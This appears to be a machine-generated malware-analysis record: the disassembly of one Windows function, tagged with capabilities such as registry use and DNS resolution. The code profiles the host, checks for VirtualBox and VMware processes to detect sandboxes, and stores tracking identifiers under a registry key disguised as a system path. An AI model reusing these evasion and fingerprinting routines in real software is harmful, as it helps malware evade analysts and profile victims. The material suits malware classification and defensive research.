Function at 0x4067c0
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Get common file path
Get cpu information
Get geographical location
Get graphical window text
Get hostname
Get process image filename
Get system information on windows
Query or enumerate registry value
Resolve dns
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x439bfc
mov eax, dword fs:[0]
push eax
mov eax, 0x7570
call fcn.0042dad0
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edx, dword [section..data]
mov dword [ebp - 0x7534], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x74dc], ecx
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x74d8], eax
xor edi, edi
mov dword [ebp - 4], edi
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
mov ecx, section..data
call eax
add eax, 0x10
mov dword [ebp - 0x753c], eax
push 0xae7c
mov byte [ebp - 4], 1
call fcn.00420422
add esp, 4
push 0xae7c
mov ebx, eax
push edi
push ebx
call fcn.00423160
add esp, 0xc
push 0x7fe
lea edx, [ebp - 0x73aa]
xor ecx, ecx
push edi
mov byte [ebx], 6
push edx
mov word [ebp - 0x73ac], cx
call fcn.00423160
lea eax, [ebp - 0x73ac]
add esp, 0xc
push eax
mov ecx, str.NewoneOpenUrl
call fcn.00410ba0
add esp, 4
lea ecx, [ebp - 0x73ac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x4068c7
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push 0x43fc48
lea edx, [ebx + 0x5c5e]
push 0x43fa88
push edx
call esi
add esp, 0xc
jmp 0x406a47
push 0x208
lea eax, [ebp - 0x274]
push edi
push eax
mov dword [ebp - 0x74c8], edi
call fcn.00423160
add esp, 0xc
lea ecx, [ebp - 0x74c8]
push ecx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74cc], 0x104
mov dword [ebp - 0x74d0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea edx, [ebp - 0x74cc]
push edx
mov edx, dword [ebp - 0x74c8]
lea eax, [ebp - 0x274]
push eax
lea ecx, [ebp - 0x74d0]
push ecx
push edi
push str.NewoneOpenUrl
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, edi
je 0x406943
push 0x43fc48
jmp 0x406a23
push 0x3ff
lea ecx, [ebp - 0x673]
push edi
push ecx
mov byte [ebp - 0x674], 0
call fcn.00423160
add esp, 0xc
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
lea edx, [ebp - 0x274]
push edx
push edi
push edi
call esi
push edi
push edi
push eax
lea eax, [ebp - 0x674]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x274]
push ecx
push edi
push edi
call esi
lea eax, [ebp - 0x674]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406990
sub eax, edx
lea edx, [ebp - 0x674]
push edx
mov edx, eax
call fcn.00402de0
add esp, 4
push 0x7fe
lea ecx, [ebp - 0x1b3a]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x1b3c], ax
call fcn.00423160
lea eax, [ebp - 0x674]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4069d1
push edi
sub eax, edx
push edi
inc eax
push eax
lea edx, [ebp - 0x674]
push edx
push edi
push edi
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [ebp - 0x674]
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4069f8
push esi
sub ecx, edi
lea eax, [ebp - 0x1b3c]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea edx, [ebp - 0x1b3c]
push edx
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebx + 0x5c5e]
push 0x43fa88
push eax
call esi
mov ecx, dword [ebp - 0x74c8]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xc8
lea edx, [ebp - 0x133c]
push 0
push edx
call fcn.00423160
add esp, 0xc
push 0x32
lea eax, [ebp - 0x6c]
push 0
push eax
call fcn.00423160
add esp, 0xc
push 0x32
lea ecx, [ebp - 0x6c]
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
lea edx, [ebp - 0x6c]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
je 0x406b3e
mov eax, dword [edi + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x133c]
push 0xc8
push eax
call fcn.00421cca
add esp, 0xc
push 0x43fc50
lea ecx, [ebp - 0x133c]
push 0xc8
push ecx
call fcn.00421cca
movsx edx, word [edi + 0xa]
mov eax, dword [edi + 0xc]
add edx, dword [eax]
add esp, 0xc
cmp edx, dword [edi]
jae 0x406b3e
mov dword [ebp - 0x74c8], 0
mov ecx, dword [ebp - 0x74c8]
mov eax, dword [ecx + eax + 4]
add ecx, 4
mov dword [ebp - 0x74c8], ecx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea edx, [ebp - 0x133c]
push 0xc8
push edx
call fcn.00421cca
add esp, 0xc
push 0x43fc50
lea eax, [ebp - 0x133c]
push 0xc8
push eax
call fcn.00421cca
movsx ecx, word [edi + 0xa]
mov eax, dword [edi + 0xc]
mov edx, dword [ebp - 0x74c8]
add ecx, dword [edx + eax]
add esp, 0xc
cmp ecx, dword [edi]
jb 0x406ae0
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x133c]
push eax
push 0
push 0
call edi
push eax
lea ecx, [ebx + 2]
push ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x133c]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x73b4]
push edx
mov dword [ebp - 0x73b4], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
sub ecx, dword [ebp - 0x73b0]
mov eax, 0x10624dd3
mul ecx
shr edx, 6
mov eax, 0x88888889
mul edx
shr edx, 5
push edx
lea edx, [ebx + 0x278]
push 0x43f9f4
push edx
call esi
add esp, 0xc
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
call edi
push eax
lea ecx, [ebx + 0x296]
push ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x6c]
push ecx
push 0
push 0
call edi
lea edx, [ebx + 0x2fa]
lea eax, [ebx + 0x35e]
push edx
push eax
call fcn.0040d2f0
xor eax, eax
mov dword [ebp - 0x7578], eax
mov dword [ebp - 0x7574], eax
mov dword [ebp - 0x7570], eax
mov dword [ebp - 0x756c], eax
mov dword [ebp - 0x7568], eax
mov dword [ebp - 0x7564], eax
mov dword [ebp - 0x7560], eax
mov dword [ebp - 0x755c], eax
mov dword [ebp - 0x7558], eax
add esp, 8
lea eax, [ebp - 0x7578]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x7564]
push ecx
lea eax, [ebx + 0x39a]
push 0x43f9f4
push eax
call esi
add esp, 0xc
lea edx, [ebp - 0x73c8]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
mov al, byte [ebp - 0x73c7]
cmp al, 0x80
je 0x406c92
cmp al, 0xff
je 0x406c92
push 0x43fc60
push 0x43fa88
lea edi, [ebp - 0x74d8]
call fcn.0040e9c0
mov eax, dword [ebp - 0x74d8]
push eax
push 0x43fa88
lea ecx, [ebx + 0x125a]
push ecx
jmp 0x406cba
push 0x43fc54
push 0x43fa88
lea edi, [ebp - 0x74d8]
call fcn.0040e9c0
mov edx, dword [ebp - 0x74d8]
push edx
push 0x43fa88
lea eax, [ebx + 0x125a]
push eax
call esi
mov edx, dword [section..data]
mov eax, dword [edx + 0xc]
add esp, 0x14
push ecx
mov edi, esp
mov dword [ebp - 0x73b0], esp
mov ecx, section..data
mov dword [ebp - 0x73b0], edi
call eax
add eax, 0x10
mov dword [edi], eax
mov ecx, str.VBoxTray.exe
mov byte [ebp - 4], 2
test ecx, 0xffff0000
jne 0x406d1c
mov edx, ecx
movzx eax, dx
push eax
mov dword [ebp - 0x74d0], eax
call fcn.00406030
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x406d29
mov eax, dword [ebp - 0x74d0]
push edi
call fcn.0040e210
jmp 0x406d29
push 0xc
push str.VBoxTray.exe
push edi
call fcn.0040e860
mov byte [ebp - 4], 1
call fcn.00406360
add esp, 4
test eax, eax
jne 0x406e70
mov eax, dword [section..data]
mov edx, dword [eax + 0xc]
push ecx
mov edi, esp
mov dword [ebp - 0x73b0], esp
mov ecx, section..data
mov dword [ebp - 0x73b0], edi
call edx
add eax, 0x10
mov dword [edi], eax
mov eax, str.VBoxService.exe
mov byte [ebp - 4], 3
test eax, 0xffff0000
jne 0x406d98
mov ecx, eax
movzx eax, cx
push eax
mov dword [ebp - 0x74d0], eax
call fcn.00406030
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x406da5
mov eax, dword [ebp - 0x74d0]
push edi
call fcn.0040e210
jmp 0x406da5
push 0xf
push str.VBoxService.exe
push edi
call fcn.0040e860
mov byte [ebp - 4], 1
call fcn.00406360
add esp, 4
test eax, eax
jne 0x406e70
push ecx
mov edx, esp
mov dword [ebp - 0x73b0], esp
push edx
mov ecx, str.VMwareUser.exe
call fcn.0040e0b0
call fcn.00406360
add esp, 4
test eax, eax
jne 0x406e70
push ecx
mov eax, esp
mov dword [ebp - 0x73b0], esp
push eax
mov ecx, str.VMwareTray.exe
call fcn.0040e0b0
call fcn.00406360
add esp, 4
test eax, eax
jne 0x406e70
push ecx
mov ecx, esp
mov dword [ebp - 0x73b0], esp
push ecx
mov ecx, str.VMUpgradeHelper.exe
call fcn.0040e0b0
call fcn.00406360
add esp, 4
test eax, eax
jne 0x406e70
push ecx
mov edx, esp
mov dword [ebp - 0x73b0], esp
push edx
mov ecx, str.vmtoolsd.exe
call fcn.0040e0b0
call fcn.00406360
add esp, 4
test eax, eax
jne 0x406e70
push ecx
mov eax, esp
mov dword [ebp - 0x73b0], esp
push eax
mov ecx, str.vmacthlp.exe
call fcn.0040e0b0
call fcn.00406360
add esp, 4
test eax, eax
jne 0x406e70
push 0x43fd6c
push 0x43fa88
lea ecx, [ebx + 0x145a]
push ecx
jmp 0x406ea3
push str.C:Program_FilesVMware
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x406e92
push str.VMware
push 0x43fa88
lea edx, [ebx + 0x145a]
push edx
jmp 0x406ea3
push str.VBox
push 0x43fa88
lea eax, [ebx + 0x145a]
push eax
call esi
add esp, 0xc
lea ecx, [ebp - 0x74f4]
push ecx
mov eax, 4
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x7540], eax
mov dword [ebp - 0x7538], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea edx, [ebp - 0x7540]
push edx
mov edx, dword [ebp - 0x74f4]
lea eax, [ebp - 0x7520]
push eax
lea ecx, [ebp - 0x7538]
push ecx
push 0
push str.MHz
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [ebp - 0x74f4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
fild dword [ebp - 0x7520]
mov ecx, dword [ebp - 0x7520]
test ecx, ecx
jns 0x406f1c
fadd dword [0x442038]
fmul qword [0x442020]
sub esp, 8
lea edi, [ebp - 0x74d8]
fstp qword [esp]
push str._.2f
call fcn.0040e9c0
mov edx, dword [ebp - 0x74d8]
add esp, 0xc
push edx
lea eax, [ebx + 0x165a]
push 0x43fa88
push eax
call esi
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x41a4]
push 0
push ecx
mov dword [ebp - 0x74e0], 0
call fcn.00423160
add esp, 0xc
lea edx, [ebp - 0x74e0]
push edx
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x751c], 0x104
mov dword [ebp - 0x7544], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x751c]
push eax
mov eax, dword [ebp - 0x74e0]
lea ecx, [ebp - 0x41a4]
push ecx
lea edx, [ebp - 0x7544]
push edx
push 0
push str.ProcessorNameString
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp - 0x74e0]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x41a4]
push edx
push 0x43fa88
call fcn.0040e9c0
mov eax, dword [ebp - 0x74d8]
push eax
lea ecx, [ebx + 0x185a]
push 0x43fa88
push ecx
call esi
add esp, 0x14
push 0x208
lea edx, [ebp - 0x3f9c]
push 0
push edx
mov dword [ebp - 0x74f0], 0
call fcn.00423160
add esp, 0xc
lea eax, [ebp - 0x74f0]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x7524], 0x104
mov dword [ebp - 0x7528], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea ecx, [ebp - 0x7524]
push ecx
mov ecx, dword [ebp - 0x74f0]
lea edx, [ebp - 0x3f9c]
push edx
lea eax, [ebp - 0x7528]
push eax
push 0
push str.Identifier
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [ebp - 0x74f0]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x3f9c]
push eax
push 0x43fa88
call fcn.0040e9c0
mov ecx, dword [ebp - 0x74d8]
push ecx
lea edx, [ebx + 0x1a5a]
push 0x43fa88
push edx
call esi
add esp, 0x14
push 0x208
lea eax, [ebp - 0x43ac]
push 0
push eax
mov dword [ebp - 0x74ec], 0
call fcn.00423160
add esp, 0xc
lea ecx, [ebp - 0x74ec]
push ecx
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x752c], 0x104
mov dword [ebp - 0x7530], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea edx, [ebp - 0x752c]
push edx
mov edx, dword [ebp - 0x74ec]
lea eax, [ebp - 0x43ac]
push eax
lea ecx, [ebp - 0x7530]
push ecx
push 0
push str.VendorIdentifier
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [ebp - 0x74ec]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x43ac]
push ecx
push 0x43fa88
call fcn.0040e9c0
mov edx, dword [ebp - 0x74d8]
push edx
lea eax, [ebx + 0x1c5a]
push 0x43fa88
push eax
call esi
add esp, 0x14
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
jne 0x40716e
push str._rNX__W
push 0x43fa88
lea ecx, [ebx + 0x1d5a]
push ecx
jmp 0x40717b
push eax
push 0x43f9f4
lea edx, [ebx + 0x1d5a]
push edx
call esi
add esp, 0xc
call fcn.0040c440
test eax, eax
je 0x40719c
push 0x43fe64
push 0x80
lea eax, [ebx + 0x1e5a]
push eax
jmp 0x4071ad
push 0x43fe68
push 0x80
lea ecx, [ebx + 0x1e5a]
push ecx
call fcn.004205b2
add esp, 0xc
push 0x800
lea edx, [ebp - 0x63ac]
push 0
push edx
mov dword [ebp - 0x74e4], 0
call fcn.00423160
mov ecx, dword [ebp - 0x74c8]
mov edi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
add esp, 0xc
lea eax, [ebp - 0x74e4]
push eax
push ecx
call edi
cmp eax, 0x6f
jne 0x4074fc
mov edx, dword [ebp - 0x74e4]
push edx
call fcn.0041e128
add esp, 4
lea ecx, [ebp - 0x74e4]
push ecx
push eax
mov dword [ebp - 0x74c8], eax
call edi
test eax, eax
jne 0x4074d5
mov edi, dword [ebp - 0x74c8]
mov dword [ebp - 0x74c8], edi
test edi, edi
je 0x4074b2
mov edx, dword [ebp - 0x74c8]
mov eax, dword [edx + 0x1a0]
dec eax
cmp eax, 0xf3
ja case.0x40724e.2
movzx eax, byte [eax + 0x409868]
jmp dword [eax*4 + 0x4097f0]
push 0x43fe6c
push 0x43fa88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x407463
push 0x43fe80
push 0x43fa88
lea edx, [ebp - 0x233c]
push edx
jmp 0x407463
push str.MIB_IF_TYPE_TOKENRING
jmp 0x407457
push 0x43febc
push 0x43fa88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x407463
push 0x43fecc
push 0x43fa88
lea edx, [ebp - 0x233c]
push edx
jmp 0x407463
push 0x43fee0
jmp 0x407457
push str.802.11
push 0x43fa88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x407463
push 0x43ff0c
push 0x43fa88
lea edx, [ebp - 0x233c]
push edx
jmp 0x407463
push 0x43ff1c
jmp 0x407457
push 0x43ff30
push 0x43fa88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x407463
push str.SMDS
push 0x43fa88
lea edx, [ebp - 0x233c]
push edx
jmp 0x407463
push 0x43ff50
jmp 0x407457
push str.IQs
push 0x43fa88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x407463
push 0x43ff6c
push 0x43fa88
lea edx, [ebp - 0x233c]
push edx
jmp 0x407463
push 0x43ff80
jmp 0x407457
push 0x43ff90
push 0x43fa88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x407463
push 0x43ffb8
push 0x43fa88
lea edx, [ebp - 0x233c]
push edx
jmp 0x407463
push 0x43ffdc
jmp 0x407457
push 0x43ffec
push 0x43fa88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x407463
push 0x43fff8
push 0x43fa88
lea edx, [ebp - 0x233c]
push edx
jmp 0x407463
push 0x44001c
jmp 0x407457
push 0x44002c
push 0x43fa88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x407463
push str.ISO8025
push 0x43fa88
lea edx, [ebp - 0x233c]
push edx
jmp 0x407463
push 0x440058
jmp 0x407457
push 0x440064
push 0x43fa88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x407463
push 0x440070
push 0x43fa88
lea edx, [ebp - 0x233c]
push edx
jmp 0x407463
push 0x440084
jmp 0x407457
push 0x440094
push 0x43fa88
lea ecx, [ebp - 0x233c]
push ecx
jmp 0x407463
push 0x4400b4
push 0x43fa88
lea edx, [ebp - 0x233c]
push edx
jmp 0x407463
push 0x4400d4
push 0x43fa88
lea eax, [ebp - 0x233c]
push eax
call esi
add esp, 0xc
lea ecx, [ebp - 0x233c]
push ecx
lea edx, [ebp - 0x63ac]
push 0x400
push edx
call fcn.004219a6
add esp, 0xc
push 0x4400e0
lea eax, [ebp - 0x63ac]
push 0x400
push eax
call fcn.004219a6
mov ecx, dword [ebp - 0x74c8]
mov eax, dword [ecx]
add esp, 0xc
mov dword [ebp - 0x74c8], eax
test eax, eax
jne 0x40722f
lea edx, [ebp - 0x63ac]
push edx
lea eax, [ebx + 0x2536]
push 0x43fa88
push eax
call esi
add esp, 0xc
push edi
call fcn.004208fe
add esp, 4
jmp 0x407512
push 0x4400e4
lea ecx, [ebx + 0x2536]
push 0x43fa88
push ecx
call esi
mov edi, dword [ebp - 0x74c8]
add esp, 0xc
push edi
call fcn.004208fe
add esp, 4
jmp 0x407512
push 0x4400e4
lea edx, [ebx + 0x2536]
push 0x43fa88
push edx
call esi
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x1c], 0x640025
mov word [ebp - 0x18], dx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x31b5d43b
mul ecx
mov edi, edx
shr edi, 0x18
push edi
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x74c8], ecx
push eax
lea ecx, [ebp - 0x2404]
push ecx
call esi
imul edi, edi, 0xfad9a400
mov ecx, dword [ebp - 0x74c8]
add ecx, edi
mov eax, 0x95217cb1
mul ecx
mov edi, edx
add esp, 0xc
shr edi, 0x15
push edi
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x24cc]
push eax
mov dword [ebp - 0x74c8], ecx
call esi
imul edi, edi, 0xffc91180
mov ecx, dword [ebp - 0x74c8]
add ecx, edi
mov eax, 0x45e7b273
mul ecx
add esp, 0xc
shr edx, 0xe
push edx
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x2594]
push edx
call esi
add esp, 0xc
push 0x4400f8
lea ecx, [ebp - 0x2594]
push ecx
push 0x4400f4
xor eax, eax
lea edx, [ebp - 0x24cc]
push edx
mov word [ebp - 0x20], ax
push 0x4400f0
lea eax, [ebp - 0x2404]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebx + 0x1f5a]
push edx
mov dword [ebp - 0x38], 0x730025
mov dword [ebp - 0x34], 0x730025
mov dword [ebp - 0x30], 0x730025
mov dword [ebp - 0x2c], 0x730025
mov dword [ebp - 0x28], 0x730025
mov dword [ebp - 0x24], 0x730025
call esi
xor eax, eax
add esp, 0x20
push 0x4406ac
push str.kernel32.dll
mov dword [ebp - 0x7518], eax
mov dword [ebp - 0x7514], eax
mov dword [ebp - 0x7510], eax
mov dword [ebp - 0x750c], eax
mov dword [ebp - 0x7508], eax
mov dword [ebp - 0x7504], eax
mov dword [ebp - 0x7500], eax
mov dword [ebp - 0x74fc], eax
mov dword [ebp - 0x74f8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x407666
lea ecx, [ebp - 0x7518]
push ecx
call eax
jmp 0x407673
lea edx, [ebp - 0x7518]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x7518]
mov ecx, 6
cmp cx, ax
je 0x40768d
mov edx, 9
cmp dx, ax
jne 0x407694
mov eax, 0x4400fc
jmp 0x407699
mov eax, 0x440104
push eax
lea eax, [ebx + 0x20ea]
push 0x43fa88
push eax
call esi
lea ecx, [ebx + 0x214e]
add esp, 0xc
push ecx
call fcn.0040c6c0
mov edx, dword [ebp + 0x10]
add esp, 4
push edx
lea eax, [ebx + 0x2022]
push 0x43f9f4
push eax
call esi
add esp, 0xc
xor ecx, ecx
push 0x7fe
push ecx
lea edx, [ebp - 0x4baa]
push edx
mov word [ebp - 0x4bac], cx
call fcn.00423160
lea eax, [ebp - 0x4bac]
add esp, 0xc
push eax
mov ecx, str.gogoggid
call fcn.00410ba0
add esp, 4
lea ecx, [ebp - 0x4bac]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x40795f
push 0x3ff
push eax
lea edx, [ebp - 0x673]
push edx
mov byte [ebp - 0x674], al
call fcn.00423160
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ecx
call fcn.00411540
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 4
push eax
push 0
push 0
call edi
push 0
push 0
push eax
lea eax, [ebp - 0x674]
push eax
push 0xffffffffffffffff
push ecx
call fcn.00411540
add esp, 4
push eax
push 0
push 0
call edi
lea eax, [ebp - 0x674]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407778
sub eax, edx
lea ecx, [ebp - 0x674]
push ecx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1272]
push eax
mov word [ebp - 0x1274], dx
call fcn.00423160
lea eax, [ebp - 0x674]
add esp, 0xc
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4077c0
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea ecx, [ebp - 0x674]
lea edx, [ecx + 1]
mov dword [ebp - 0x74d0], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4077f1
sub ecx, dword [ebp - 0x74d0]
push eax
lea eax, [ebp - 0x1274]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x74c8]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40786a
lea eax, [ebp - 0x1274]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0x74c8]
add eax, eax
push eax
lea ecx, [ebp - 0x1274]
push ecx
push 1
push 0
push str.gogoggid
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x40786a
mov eax, dword [ebp - 0x74c8]
push eax
jmp 0x407871
mov ecx, dword [ebp - 0x74c8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea edx, [ebp - 0xa73]
push 0
push edx
mov byte [ebp - 0xa74], 0
call fcn.00423160
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x1274]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0
push eax
lea ecx, [ebp - 0xa74]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x1274]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0xa74]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4078d7
sub eax, edx
lea ecx, [ebp - 0xa74]
push ecx
mov edx, eax
call fcn.00416eb0
lea eax, [ebp - 0xa74]
add esp, 4
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407900
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0xa74]
push edx
push 0
push 0
call edi
lea ecx, [ebp - 0xa74]
lea edx, [ecx + 1]
mov dword [ebp - 0x74d0], edx
jmp 0x407930
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407930
sub ecx, dword [ebp - 0x74d0]
push eax
lea eax, [ebp - 0x1274]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0xa74]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x1274]
jmp 0x407adc
push 0x208
lea ecx, [ebp - 0x274]
push 0
push ecx
mov dword [ebp - 0x74c8], 0
call fcn.00423160
add esp, 0xc
lea edx, [ebp - 0x74c8]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x74d0], 0x104
mov dword [ebp - 0x74cc], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x74d0]
push eax
mov eax, dword [ebp - 0x74c8]
lea ecx, [ebp - 0x274]
push ecx
lea edx, [ebp - 0x74cc]
push edx
push 0
push str.gogoggid
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp - 0x74c8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea edx, [ebp - 0x673]
push 0
push edx
mov byte [ebp - 0x674], 0
call fcn.00423160
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x274]
push eax
push 0
push 0
call edi
push 0
push 0
push eax
lea ecx, [ebp - 0x674]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x274]
push edx
push 0
push 0
call edi
lea eax, [ebp - 0x674]
lea edi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407a40
sub eax, edi
lea ecx, [ebp - 0x674]
push ecx
mov edx, eax
call fcn.00416eb0
add esp, 4
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1b3a]
push eax
mov word [ebp - 0x1b3c], dx
call fcn.00423160
lea eax, [ebp - 0x674]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407a81
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea ecx, [ebp - 0x674]
lea edx, [ecx + 1]
mov dword [ebp - 0x74d4], edx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407ab2
sub ecx, dword [ebp - 0x74d4]
push eax
lea eax, [ebp - 0x1b3c]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x674]
push ecx
push 0
push 0
call edi
lea edx, [ebp - 0x1b3c]
push edx
lea eax, [ebx + 0x1fbe]
push 0x43fa88
push eax
call esi
add esp, 0xc
